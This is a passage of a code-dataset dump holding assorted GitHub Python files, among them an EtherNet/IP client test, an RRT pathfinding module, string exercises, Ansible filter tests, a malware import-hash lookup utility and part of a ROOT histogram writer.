depth\t\t= random.randint( 0, clidepth )\t\t\t# eg. 0 .. 5\n for idx,dsc,req,rpy,sts,val in connection.pipeline(\n operations=enip.client.parse_operations( tags ), timeout=clitimeout,\n multiple=multiple, depth=depth ):\n log.detail( \"Client %3d: %s --> %r \", n, dsc, val )\n if not val:\n log.warning( \"Client %d harvested %d/%d results; failed request: %s\",\n n, len( results ), len( tags ), rpy )\n failures += 1\n results.append( (dsc,val) )\n duration\t\t= misc.timer() - begins\n if len( results ) != len( tags ):\n log.warning( \"Client %d harvested %d/%d results\", n, len( results ), len( tags ))\n failures\t += 1\n log.normal( \"Client (Tags) %3d: %s TPS\", n, duration/times )\n\n # Now, ensure that any results that reported values reported the correct values -- each\n # value equals its own index or 0.\n for i,(elm,cnt),tag,(dsc,val) in zip( range( times ), regs, tags, results ):\n log.detail( \"Running on test %3d: operation %34s (%34s) on %5s[%3d-%-3d] ==> %s\",\n i, tag, dsc, name, elm, elm + cnt - 1, val )\n if not val:\n log.warning( \"Failure in test %3d: operation %34s (%34s) on %5s[%3d-%-3d]: %s\",\n i, tag, dsc, name, elm, elm + cnt - 1, val )\n failures += 1\n if isinstance( val, list ): # write returns True; read returns list of data\n #print( \"%s testing %10s[%5d-%-5d]: %r\" % ( threading.current_thread().name, tag, elm, elm + cnt - 1, val ))\n if not all( v in (e,0) for v,e in zip( val, range( elm, elm + cnt ))):\n log.warning( \"Failure in test %3d: operation %34s (%34s) on %5s[%3d-%-3d] didn't equal indexes: %s\",\n i, tag, dsc, name, elm, elm + cnt - 1, val )\n failures += 1\n\n return 1 if failures else 0\n\n def clitest_svc( n ):\n \"\"\"Issue a series of CIP Service Codes.\"\"\"\n times\t\t\t= clitimes # How many I/O per client\n connection\t\t= None\n while not connection:\n try:\n connection\t= enip.client.connector( *svraddr, timeout=clitimeout )\n except socket.error as exc:\n if exc.errno != errno.ECONNREFUSED:\n raise\n time.sleep( .1 )\n\n # Issue a sequence of simple CIP Service Code operations.\n operations = times * [{\n \"method\":\t\"service_code\",\n \"path\":\t'@0x99/1/2',\n \"code\":\tenip.Object.GA_SNG_REQ,\n \"data\":\t[],\n }]\n\n results\t\t\t= []\n failures\t\t= 0\n begins\t\t\t= misc.timer()\n try:\n with connection:\n multiple\t= random.randint( 0, 4 ) * climultiple // 4 \t# eg. 0, 125, 250, 375, 500\n depth\t\t= random.randint( 0, clidepth )\t\t\t# eg. 0 .. 5\n for idx,dsc,req,rpy,sts,val in connection.pipeline(\n operations=operations, timeout=clitimeout,\n multiple=multiple, depth=depth ):\n log.detail( \"Client %3d: %s --> %r \", n, dsc, val )\n if not val:\n log.warning( \"Client %d harvested %d/%d results; failed request: %s\",\n n, len( results ), len( operations ), rpy )\n failures += 1\n results.append( (dsc,val) )\n except Exception as exc:\n logging.warning( \"%s: %s\", exc, ''.join( traceback.format_exception( *sys.exc_info() )))\n failures\t += 1\n duration\t\t= misc.timer() - begins\n\n if len( results ) != len( operations ):\n log.warning( \"Client %d harvested %d/%d results\", n, len( results ), len( operations ))\n failures\t += 1\n log.normal( \"Client (service) %3d: %s TPS\", n, duration/times )\n return 1 if failures else 0\n\n # Use a random one of the available testing functions\n def clitest( n ):\n random.choice( [\n clitest_tag,\n clitest_svc,\n ] )( n )\n\n \n failed\t\t\t= network.bench( server_func\t= enip_main,\n server_kwds\t= svrkwds,\n client_func\t= clitest,\n client_count\t= clicount,\n client_max\t= clipool )\n assert failed == 0\n","repo_name":"pjkundert/cpppo","sub_path":"server/enip/client_test.py","file_name":"client_test.py","file_ext":"py","file_size_in_byte":18027,"program_lang":"python","lang":"en","doc_type":"code","stars":311,"dataset":"github-code","pt":"76"} +{"seq_id":"22679289672","text":"import sys\n\ninFile = open(sys.argv[1], 'r')\noutput = \"\"\nfor line in inFile:\n words = line.strip().split(\" \")\n if len(words[0].strip()) > 0:\n words.reverse()\n output += \" \".join(words) + \"\\n\"\n \nprint(output.rstrip())\n","repo_name":"mtangolics/codeeval","sub_path":"reversewords.py","file_name":"reversewords.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"31474486771","text":"import pandas as pd\r\nimport numpy\r\nimport string\r\nimport nltk\r\nfrom nltk import word_tokenize, pos_tag\r\nfrom nltk import everygrams\r\nimport math\r\nfrom nltk.stem import WordNetLemmatizer\r\nfrom nltk.probability import FreqDist\r\nimport string\r\n\r\nnltk.download('averaged_perceptron_tagger')\r\nnltk.download('wordnet')\r\n\r\n\r\n#enter a string and a word list. Words will be excluded from the string that lie above the set frequency threshold\r\ndef exclude_list(input_string, dictionary_data):\r\n print('There are', len(dictionary_data), 'sentences in our corpus')\r\n df2 = pd.DataFrame(dictionary_data, columns=['Sentences'])\r\n my_text = df2['Sentences'].astype(str).values.tolist()\r\n corpus = []\r\n for line in my_text:\r\n words = nltk.word_tokenize(line.lower())\r\n for i in words:\r\n if i not in string.punctuation:\r\n corpus.append(i.lower())\r\n fdist = nltk.FreqDist(corpus)\r\n result = pd.DataFrame(fdist.most_common(100000),\r\n columns=['Word', 'Frequency'])\r\n total_count = sum([int(y) for y in result.Frequency])\r\n print(total_count)\r\n exclude_words = []\r\n dict_ = dict(zip([x for x in result.Word], [int(y) for y in result.Frequency]))\r\n for i,j in dict_.items():\r\n equation_result = 1 - math.sqrt(10 ** -5 / (j/total_count))\r\n if equation_result > 0.96:\r\n exclude_words.append(i)\r\n #print('Here are the excluded words: \\n\\n\\n', exclude_words)\r\n input_string = input_string.split()\r\n exclude = []\r\n for word in input_string:\r\n if word not in exclude_words:\r\n exclude.append(word)\r\n return exclude","repo_name":"Alanapiereid/Word_Exclusion_Algorithm","sub_path":"Word_Exclusion_Algorithm.py","file_name":"Word_Exclusion_Algorithm.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74709178164","text":"\"\"\"\n\nBUILD_RRT($q_{init},K,\\Delta q$)\n1 \tG.init(qinit);\n2 \tfor k = 1 to K\n3 \t$q_{rand} \\leftarrow \\;$RAND_CONF();\n4 \t$q_{near} \\leftarrow \\;$NEAREST_VERTEX(qrand,G);\n5 \t$q_{new} \\leftarrow \\;$NEW_CONF$(q_{near},\\Delta q)$;\n6 \tG.add_vertex(qnew);\n7 \tG.add_edge(qnear,qnew);\n8 \tReturn G\n\n\"\"\"\n\nfrom __future__ import annotations\nimport pygame # type: ignore\nfrom random import randint\nfrom typing import List, Tuple, Callable, Dict, NamedTuple, Set, Union\nfrom .utils import reconstruct_path, check_quit\n\nclass Graf(NamedTuple):\n came_from: Dict[Node, Node]\n nodes: Set[Node]\n\nclock = pygame.time.Clock()\nFPS = 60\n\ndef rand_conf(grid: List[List[Node]], G: Graf, end: Node) -> Node:\n width = len(grid[0]); height = len(grid) \n \n # Do while\n x = randint(0,width-1)\n y = randint(0,height-1)\n node = grid[x][y]\n \n while node.is_barrier() or node in G.nodes:\n x = randint(0,width-1)\n y = randint(0,height-1)\n node = grid[x][y]\n \n return grid[x][y]\n\ndef nearest_vertex(qrand: Node, otherNodes: Union[List[Node], Set[Node]]) -> List[Node]: # G is an iterable\n \n def manhattan(p1: Tuple[int, int], p2: Tuple[int, int]) -> int:\n x1, y1 = p1\n x2, y2 = p2\n return abs(x1 - x2) + abs(y1 - y2) \n \n nearest: List[Node] = []\n distance = float('inf')\n \n for node in otherNodes:\n d = manhattan(qrand.get_pos(),node.get_pos())\n if d < distance:\n distance = d\n nearest = []\n nearest.append(node)\n \n elif d == distance:\n nearest.append(node)\n \n return nearest \n\ndef new_conf(nearest: List[Node], qrand: Node, G: Graf, draw: Callable, start: Node, end: Node) -> bool: # qrand: rand_conf\n \n def check_end(current):\n if current == end: # check end\n reconstruct_path(G.came_from, end, draw)\n current.make_end()\n return True\n \n for node in nearest:\n if node is not start:\n node.make_closed() \n \n nearest_neighbor = nearest_vertex(qrand, node.neighbors)\n for neighbor in nearest_neighbor:\n if not neighbor in G.nodes:\n G.nodes.add(neighbor) \n G.came_from[neighbor] = node\n\n if check_end(neighbor):\n return True\n else:\n neighbor.make_open()\n \n draw()\n clock.tick(FPS)\n\ndef rrt(draw: Callable, grid: List[List[Node]], start: Node, end: Node):\n # Pre: exists a path to the end\n G = Graf(dict(), {start})\n\n while True:\n if check_quit():\n return False\n\n random_point = rand_conf(grid, G, end)\n random_point.make_random()\n \n draw()\n clock.tick(FPS)\n \n nearest = nearest_vertex(random_point, G.nodes)\n if new_conf(nearest, random_point, G, draw, start, end): # found\n return True\n \n if random_point is end:\n random_point.make_end()\n elif not random_point.is_open():\n random_point.make_empty()\n \n draw()\n clock.tick(FPS)\n","repo_name":"CPerezRuiz335/Pathfinding-Algorithms","sub_path":"game/algorithms/rrt.py","file_name":"rrt.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"17388073262","text":"#Given a string, return a string where for every char in the original, there are two chars.\n\ndef double_char(str):\n new_string = ''\n for i in range(len(str)):\n new_string = new_string + str[i] + str[i]\n return new_string\n \n\n\n\n\n\n\n\n\n#Return the number of times that the string \"hi\" appears anywhere in the given string.\n\ndef count_hi(str):\n hi_count = 0\n for i in range(len(str) - 1):\n if str[i:i+2] == \"hi\":\n hi_count += 1\n return hi_count\n \n\n\n\n\n\n\n\n\n\n#Return True if the string \"cat\" and \"dog\" appear the same number of times in the given string.\n\ndef cat_dog(str):\n cat_num = 0\n dog_num = 0\n for i in range(len(str) - 2):\n if str[i:i+3] == \"cat\":\n cat_num += 1\n if str[i:i+3] == \"dog\":\n dog_num += 1\n if cat_num == dog_num:\n return True\n else:\n return False\n \n \n \n \n \n \n \n \n \n \n#Return the number of times that the string \"code\" appears anywhere in the given string, except we'll accept any letter for the 'd', so \"cope\" and \"cooe\" count.\n\ndef count_code(str):\n f2 = \"co\"\n l1 = 'e'\n cool_count = 0\n for i in range(len(str) - 3):\n if str[i:i+2] == f2 and str[i+3] == l1:\n cool_count += 1\n return cool_count\n \n\n\n\n\n\n\n\n\n#Given two strings, return True if either of the strings appears at the very end of the other string, ignoring upper/lower case differences \n#(in other words, the computation should not be \"case sensitive\"). Note: s.lower() returns the lowercase version of a string.\n\ndef end_other(a, b):\n if len(a) > len(b):\n if b.lower() == a[(len(a) - len(b)):].lower():\n return True\n else:\n return False\n elif len(b) > len(a):\n if a.lower() == b[(len(b) - len(a)):].lower():\n return True\n else:\n return False\n else:\n if a.lower() == b.lower():\n return True\n else:\n return False\n \n\n\n\n\n\n\n\n\n\n#Return True if the given string contains an appearance of \"xyz\" where the xyz is not directly preceeded by a period (.). So \"xxyz\" counts but \"x.xyz\" does not.\n\ndef xyz_there(str):\n for i in range(len(str) - 2):\n if str[i:i+3] == \"xyz\" and str[i-1] != '.':\n return True\n return False\n","repo_name":"DanGajeski/CodingChallenges","sub_path":"String-2.py","file_name":"String-2.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"27545857576","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nfrom ansible_collections.manala.roles.tests.unit.compat import unittest\nfrom ansible_collections.manala.roles.plugins.filter.environment import environment, environment_parameter\n\nfrom ansible.errors import AnsibleFilterError\n\n\nclass TestEnvironment(unittest.TestCase):\n\n def test_not_dict(self):\n with self.assertRaises(AnsibleFilterError) as error:\n environment(NotImplemented)\n self.assertEqual(\"environment expects a dict but was given a \", str(error.exception))\n\n def test_exclude(self):\n self.assertEqual('''foo=\"foo\"''', environment({\n 'foo': 'foo',\n 'bar': 'bar',\n }, exclude=['bar']))\n\n def test(self):\n self.assertEqual('''bar=123\nbaz=\"baz\"''', environment({\n 'foo': None,\n 'bar': 123,\n 'baz': 'baz',\n }))\n\n\nclass TestEnvironmentParameter(unittest.TestCase):\n\n def test_not_dict(self):\n with self.assertRaises(AnsibleFilterError) as error:\n environment_parameter(NotImplemented, '')\n self.assertEqual(\"environment_parameter parameters expects a dict but was given a \", str(error.exception))\n\n def test_not_string(self):\n with self.assertRaises(AnsibleFilterError) as error:\n environment_parameter({}, NotImplemented)\n self.assertEqual(\"environment_parameter key expects a string but was given a \", str(error.exception))\n\n def test_required(self):\n with self.assertRaises(AnsibleFilterError) as error:\n environment_parameter({'foo': 'foo'}, 'bar', required=True)\n self.assertEqual('environment_parameter requires a value for key bar', str(error.exception))\n\n def test_default(self):\n self.assertEqual('''foo=\"foo\"''', environment_parameter({\n 'bar': 'bar',\n }, 'foo', default='foo'))\n # Missing\n with self.assertRaises(AnsibleFilterError) as error:\n environment_parameter({'bar': 'bar'}, 'foo')\n self.assertEqual('environment_parameter missing a default value for key foo', str(error.exception))\n\n def test_comment(self):\n self.assertEqual('''#foo=\"foo\"''', environment_parameter({\n 'bar': 'bar',\n }, 'foo', default='foo', comment=True))\n self.assertEqual('''bar=\"bar\"''', environment_parameter({\n 'bar': 'bar',\n }, 'bar', default='foo', comment=True))\n # Missing default\n with self.assertRaises(AnsibleFilterError) as error:\n environment_parameter({'bar': 'bar'}, 'foo', comment=True)\n self.assertEqual('environment_parameter missing a default value for key foo', str(error.exception))\n\n def test_comment_string(self):\n self.assertEqual('''comment''', environment_parameter({\n 'bar': 'bar',\n }, 'foo', comment='comment'))\n self.assertEqual('''bar=\"bar\"''', environment_parameter({\n 'bar': 'bar',\n }, 'bar', comment='comment'))\n # Superfluous default\n self.assertEqual('''comment''', environment_parameter({\n 'bar': 'bar',\n }, 'foo', default='foo', comment='comment'))\n\n def test_unknown_type(self):\n with self.assertRaises(AnsibleFilterError) as error:\n environment_parameter({'foo': NotImplemented}, 'foo')\n self.assertEqual('environment_parameter value of an unknown type ', str(error.exception))\n\n def test(self):\n self.assertEqual('''''', environment_parameter({\n 'value': None,\n }, 'value'))\n self.assertEqual('''value=\"string\"''', environment_parameter({\n 'value': 'string',\n }, 'value'))\n self.assertEqual('''value=123''', environment_parameter({\n 'value': 123,\n }, 'value'))\n self.assertEqual('''value=4.56''', environment_parameter({\n 'value': 4.56,\n }, 'value'))\n","repo_name":"manala/ansible-roles","sub_path":"tests/unit/plugins/filter/test_environment.py","file_name":"test_environment.py","file_ext":"py","file_size_in_byte":4048,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"76"} +{"seq_id":"72932901684","text":"test_cases = int(input())\nfor a in range(test_cases):\n n_papers = int(input())\n l_papers = list(map(int, input().split()))\n l_of_lpapers = len(l_papers)\n final_arr = []\n\n global i\n i = 2\n while(len(final_arr) <= l_of_lpapers):\n for b in range(i):\n final_arr.append(i-1)\n i += 1\n ans = final_arr[:l_of_lpapers]\n z = a+1\n final_str = 'Case #'+str(a+1)+':'\n for c in ans:\n final_str += (' '+str(c))\n print(final_str)\n","repo_name":"ayushbest999/Hacker-Earth-Solutions","sub_path":"google_kickstart_thesis.py","file_name":"google_kickstart_thesis.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"73294748085","text":"#!/usr/bin/env python\n\n__version__ = \"0.0.1\"\n__date__ = \"08.29.2014\"\n__author__ = \"Joseph Zeranski\"\n__maintainer__ = \"Joseph Zeranski\"\n__email__ = \"madsc13ntist@gmail.com\"\n__copyright__ = \"Copyright 2014, \" + __author__\n__license__ = \"MIT\"\n__status__ = \"Prototype\"\n__credits__ = [\"\"]\n__description__= \"return import hash matches present in a malware directory/repository. takes a file or imphash.\"\n__build__ = \"\"\n\n####################### MIT License #######################\n# Copyright (c) 2014 Joseph Zeranski\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n###########################################################\n\n### Import Modules\nimport os\nimport pefile #Requires pefile 2.10.139 (or newer)\nimport hashlib\nimport optparse\n\n# You can add some additional/default dirs to scan through.\nDIRS_TO_SCAN = [] #\"/malware/report\", \"/malware/zoo\"]\n\n### Define Functions\ndef imphash(filepath):\n \"\"\"\n Return the import hash of an executable\n \"\"\"\n try:\n pe = pefile.PE(filepath)\n return pe.get_imphash()\n except:\n return False\n\ndef files_in(directory, escape_spaces=False, escape_char='\\\\'):\n \"\"\"\n Walks through a directory recursively (like unix 'find') returns a list of filepaths.\n \"\"\"\n #import os\n file_list = []\n for root, subFolders, files in os.walk(directory):\n for filename in files:\n filePath = os.path.join(root, filename)\n if escape_spaces:\n filePath = filePath.replace(' ', escape_char+' ')\n file_list.append(filePath)\n #print(filePath)\n return file_list\n\n\n### If the script is being executed (not imported).\nif __name__ == \"__main__\":\n if not __build__:\n __build__ = hashlib.md5(open(__file__, 'rb').read()).hexdigest()\n opt_parser = optparse.OptionParser()\n opt_parser.usage = \"%prog [options] FILE(S) or HASHE(S)\\n\"\n\n #''' Additional formatting for Meta-data ''''''''''''''''''\n opt_parser.usage += \"version \" + str(__version__) + \", build \" + __build__ + \"\\n\"\n if __description__ not in [\"\", [\"\"], None, False]:\n opt_parser.usage += __description__ + \"\\n\"\n opt_parser.usage += \"Copyright (c) 2014 \" + __author__ + \" <\" + __email__ + \">\"\n if __credits__ not in [\"\", [\"\"], None, False]:\n opt_parser.usage += \"\\nThanks go out to \"\n if isinstance(__credits__, str):\n opt_parser.usage += __credits__ + \".\"\n elif isinstance(__credits__, list):\n if len(__credits__) == 1:\n opt_parser.usage += __credits__[0] + \".\"\n else:\n opt_parser.usage += ', '.join(__credits__[:-1]) + \" and \" + __credits__[-1] + \".\"\n #'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n opt_parser.add_option(\"-d\",\n dest = \"dir\",\n action = \"append\",\n default = [],\n help = \"Dir to scan for matching files with matching imphashes.\")\n (options, args) = opt_parser.parse_args()\n\n # Do things with your options and args.\n if not args:\n opt_parser.print_help()\t# Print usage info\n exit(1)\n\n if len(options.dir) < 1 and len(DIRS_TO_SCAN) < 1:\n options.dir.append('.')\n else:\n for d in DIRS_TO_SCAN:\n options.dir.append(d)\n options.dir = [ os.path.abspath(x) for x in options.dir ]\n ### create a list of filepaths that will have their imphash collected.\n files_to_process = []\n for d in options.dir:\n for p in files_in(d):\n files_to_process.append(p)\n\n for arg in args:\n if os.path.isdir(arg):\n for p in files_in(arg):\n files_to_process.append(p)\n elif os.path.isfile(arg):\n files_to_process.append(arg)\n files_to_process.sort()\n\n hashes = {}\n\n for filepath in files_to_process:\n hash = imphash(filepath)\n if hash:\n if hash not in hashes:\n hashes[hash] = [filepath]\n else:\n hashes[hash].append(filepath)\n\n for arg in args:\n hash = \"\"\n if os.path.isfile(arg):\n hash = imphash(arg)\n if hash in hashes:\n for filepath in sorted(hashes[hash]):\n if os.path.abspath(filepath) != os.path.abspath(arg):\n print(\"%s %s\" % (hash, os.path.abspath(filepath)))\n else:\n if arg in hashes:\n for filepath in sorted(hashes[arg]):\n print(\"%s %s\" % (arg, os.path.abspath(filepath)))\n","repo_name":"madsc13ntist/impscan","sub_path":"impscan.py","file_name":"impscan.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"12804969551","text":"#!/usr/bin/env python\n\n# BSD 3-Clause License; see https://github.com/scikit-hep/uproot/blob/master/LICENSE\n\nfrom __future__ import absolute_import\n\nimport struct\n\nimport numpy\n\nimport uproot.const\nimport uproot.write.compress\nimport uproot.write.sink.cursor\n\nclass TH(object):\n def __init__(self, histogram):\n self.fTitle = self.fixstring(histogram._fTitle)\n self.fClassName = self.fixstring(histogram._classname)\n\n self.fXaxis = self.emptyaxis(\"xaxis\", 1.0)\n self.fXaxis.update(histogram._fXaxis.__dict__)\n self.fixaxis(self.fXaxis)\n\n self.fYaxis = self.emptyaxis(\"yaxis\", 0.0)\n if hasattr(histogram, \"_fYaxis\"):\n self.fYaxis.update(histogram._fYaxis.__dict__)\n self.fixaxis(self.fYaxis)\n\n self.fZaxis = self.emptyaxis(\"zaxis\", 1.0)\n if hasattr(histogram, \"_fZaxis\"):\n self.fZaxis.update(histogram._fZaxis.__dict__)\n self.fixaxis(self.fZaxis)\n\n self.values = histogram.allvalues\n\n self.fields = self.emptyfields()\n for n in list(self.fields):\n if hasattr(histogram, n):\n self.fields[n] = getattr(histogram, n)\n\n if self.fClassName == b\"TH1C\":\n self.valuesarray = numpy.array(self.values, dtype=\">i1\")\n elif self.fClassName == b\"TH1S\":\n self.valuesarray = numpy.array(self.values, dtype=\">i2\")\n elif self.fClassName == b\"TH1I\":\n self.valuesarray = numpy.array(self.values, dtype=\">i4\")\n elif self.fClassName == b\"TH1F\":\n self.valuesarray = numpy.array(self.values, dtype=\">f4\")\n elif self.fClassName == b\"TH1D\":\n self.valuesarray = numpy.array(self.values, dtype=\">f8\")\n elif self.fClassName == b\"TProfile\":\n self.valuesarray = numpy.array(self.values, dtype=\">f8\")\n elif self.fClassName == b\"TH2C\":\n self.valuesarray = numpy.array(self.values, dtype=\">i1\").transpose()\n elif self.fClassName == b\"TH2S\":\n self.valuesarray = numpy.array(self.values, dtype=\">i2\").transpose()\n elif self.fClassName == b\"TH2I\":\n self.valuesarray = numpy.array(self.values, dtype=\">i4\").transpose()\n elif self.fClassName == b\"TH2F\":\n self.valuesarray = numpy.array(self.values, dtype=\">f4\").transpose()\n elif self.fClassName == b\"TH2D\":\n self.valuesarray = numpy.array(self.values, dtype=\">f8\").transpose()\n elif self.fClassName == b\"TProfile2D\":\n self.valuesarray = numpy.array(self.values, dtype=\">f8\").transpose()\n elif self.fClassName == b\"TH3C\":\n self.valuesarray = numpy.array(self.values, dtype=\">i1\").transpose()\n elif self.fClassName == b\"TH3S\":\n self.valuesarray = numpy.array(self.values, dtype=\">i2\").transpose()\n elif self.fClassName == b\"TH3I\":\n self.valuesarray = numpy.array(self.values, dtype=\">i4\").transpose()\n elif self.fClassName == b\"TH3F\":\n self.valuesarray = numpy.array(self.values, dtype=\">f4\").transpose()\n elif self.fClassName == b\"TH3D\":\n self.valuesarray = numpy.array(self.values, dtype=\">f8\").transpose()\n elif self.fClassName == b\"TProfile3D\":\n self.valuesarray = numpy.array(self.values, dtype=\">f8\").transpose()\n else:\n raise ValueError(\"unrecognized histogram class name {0}\".format(self.fClassName))\n\n self.fields[\"_fNcells\"] = self.valuesarray.size\n self.fields[\"_fContour\"] = numpy.array(self.fields[\"_fContour\"], dtype=\">f8\", copy=False)\n self.fields[\"_fSumw2\"] = numpy.array(self.fields[\"_fSumw2\"], dtype=\">f8\", copy=False)\n self.fields[\"_fBinEntries\"] = numpy.array(self.fields[\"_fBinEntries\"], dtype=\">f8\", copy=False)\n self.fields[\"_fBinSumw2\"] = numpy.array(self.fields[\"_fBinSumw2\"], dtype=\">f8\", copy=False)\n\n @staticmethod\n def fixstring(string):\n if isinstance(string, bytes):\n return string\n else:\n return string.encode(\"utf-8\")\n\n @staticmethod\n def fixaxis(axis):\n axis[\"_fName\"] = TH.fixstring(axis[\"_fName\"])\n axis[\"_fTitle\"] = TH.fixstring(axis[\"_fTitle\"])\n axis[\"_fXbins\"] = numpy.array(axis[\"_fXbins\"], dtype=\">f8\", copy=False)\n if axis[\"_fLabels\"] is None:\n axis[\"_fLabels\"] = []\n if axis[\"_fModLabs\"] is None:\n axis[\"_fModLabs\"] = []\n\n @staticmethod\n def emptyfields():\n return {\"_fLineColor\": 602,\n \"_fLineStyle\": 1,\n \"_fLineWidth\": 1,\n \"_fFillColor\": 0,\n \"_fFillStyle\": 1001,\n \"_fMarkerColor\": 1,\n \"_fMarkerStyle\": 1,\n \"_fMarkerSize\": 1.0,\n \"_fNcells\": 12,\n \"_fBarOffset\": 0,\n \"_fBarWidth\": 1000,\n \"_fEntries\": 0.0,\n \"_fTsumw\": 0.0,\n \"_fTsumw2\": 0.0,\n \"_fTsumwx\": 0.0,\n \"_fTsumwx2\": 0.0,\n \"_fMaximum\": -1111.0,\n \"_fMinimum\": -1111.0,\n \"_fNormFactor\": 0.0,\n \"_fContour\": [],\n \"_fSumw2\": [],\n \"_fOption\": b\"\",\n \"_fFunctions\": [],\n \"_fBufferSize\": 0,\n \"_fBuffer\": [],\n \"_fBinStatErrOpt\": 0,\n \"_fStatOverflows\": 2,\n \"_fTsumwy\": 0.0,\n \"_fTsumwy2\": 0.0,\n \"_fTsumwxy\": 0.0,\n \"_fTsumwz\": 0.0,\n \"_fTsumwz2\": 0.0,\n \"_fTsumwxz\": 0.0,\n \"_fTsumwyz\": 0.0,\n \"_fScalefactor\": 0.0,\n \"_fBinEntries\": [],\n \"_fYmin\": 0.0,\n \"_fYmax\": 0.0,\n \"_fBinSumw2\": [],\n \"_fErrorMode\": 0,\n \"_fZmin\": 0.0,\n \"_fZmax\": 0.0,\n \"_fTmin\": 0.0,\n \"_fTmax\": 0.0,\n \"_fTsumwt\": 0.0,\n \"_fTsumwt2\": 0.0}\n\n @staticmethod\n def emptyaxis(name, titleoffset):\n return {\"_fName\": name,\n \"_fTitle\": b\"\",\n \"_fNdivisions\": 510,\n \"_fAxisColor\": 1,\n \"_fLabelColor\": 1,\n \"_fLabelFont\": 42,\n \"_fLabelOffset\": 0.004999999888241291,\n \"_fLabelSize\": 0.03500000014901161,\n \"_fTickLength\": 0.029999999329447746,\n \"_fTitleOffset\": titleoffset,\n \"_fTitleSize\": 0.03500000014901161,\n \"_fTitleColor\": 1,\n \"_fTitleFont\": 42,\n \"_fNbins\": 1,\n \"_fXmin\": 0.0,\n \"_fXmax\": 1.0,\n \"_fXbins\": [],\n \"_fFirst\": 0,\n \"_fLast\": 0,\n \"_fBits2\": 0,\n \"_fTimeDisplay\": False,\n \"_fTimeFormat\": b\"\",\n \"_fLabels\": None,\n \"_fModLabs\": None}\n\n _format_cntvers = struct.Struct(\">IH\")\n\n _format_tobject1 = struct.Struct(\">HII\")\n def return_tobject(self, cursor):\n return cursor.return_fields(self._format_tobject1, 1, 0, uproot.const.kNotDeleted)\n def length_tobject(self):\n return self._format_tobject1.size\n\n def return_tnamed(self, cursor, name, title):\n cnt = numpy.int64(self.length_tnamed(name, title) - 4) | uproot.const.kByteCountMask\n vers = 1\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_tobject(cursor) +\n cursor.return_string(name) + cursor.return_string(title))\n def length_tnamed(self, name, title):\n return self.length_tobject() + uproot.write.sink.cursor.Cursor.length_strings([name, title]) + self._format_cntvers.size\n\n _format_tarray = struct.Struct(\">i\")\n def return_tarray(self, cursor, values):\n return cursor.return_fields(self._format_tarray, values.size) + cursor.return_array(values)\n\n def length_tarray(self, values):\n return self._format_tarray.size + values.nbytes\n\n _format_tlist = struct.Struct(\">i\")\n def return_tlist(self, cursor, values):\n cnt = numpy.int64(self.length_tlist(values) - 4) | uproot.const.kByteCountMask\n vers = 5\n for value in values:\n raise NotImplementedError\n return (cursor.return_fields(self._format_cntvers, cnt, vers) + self.return_tobject(cursor) +\n cursor.return_string(b\"\") + cursor.return_fields(self._format_tlist, len(values))) #FIXME\n def length_tlist(self, values):\n return self.length_tobject() + uproot.write.sink.cursor.Cursor.length_string(b\"\") + self._format_tlist.size + sum(0 for x in values) + self._format_cntvers.size\n\n _format_tattline = struct.Struct(\">hhh\")\n def return_tattline(self, cursor):\n cnt = numpy.int64(self.length_tattline() - 4) | uproot.const.kByteCountMask\n vers = 2\n return (cursor.return_fields(self._format_cntvers, cnt, vers) +\n cursor.return_fields(self._format_tattline,\n self.fields[\"_fLineColor\"],\n self.fields[\"_fLineStyle\"],\n self.fields[\"_fLineWidth\"]))\n def length_tattline(self):\n return self._format_tattline.size + self._format_cntvers.size\n\n _format_tattfill = struct.Struct(\">hh\")\n def return_tattfill(self, cursor):\n cnt = numpy.int64(self.length_tattfill() - 4) | uproot.const.kByteCountMask\n vers = 2\n return (cursor.return_fields(self._format_cntvers, cnt, vers) +\n cursor.return_fields(self._format_tattfill,\n self.fields[\"_fFillColor\"],\n self.fields[\"_fFillStyle\"]))\n def length_tattfill(self):\n return self._format_tattfill.size + self._format_cntvers.size\n\n _format_tattmarker = struct.Struct(\">hhf\")\n def return_tattmarker(self, cursor):\n cnt = numpy.int64(self.length_tattmarker() - 4) | uproot.const.kByteCountMask\n vers = 2\n return (cursor.return_fields(self._format_cntvers, cnt, vers) +\n cursor.return_fields(self._format_tattmarker,\n self.fields[\"_fMarkerColor\"],\n self.fields[\"_fMarkerStyle\"],\n self.fields[\"_fMarkerSize\"]))\n def length_tattmarker(self):\n return self._format_tattmarker.size + self._format_cntvers.size\n\n _format_tattaxis = struct.Struct(\">ihhhfffffhh\")\n def return_tattaxis(self, cursor, axis):\n cnt = numpy.int64(self.length_tattaxis() - 4) | uproot.const.kByteCountMask\n vers = 4\n return (cursor.return_fields(self._format_cntvers, cnt, vers) +\n 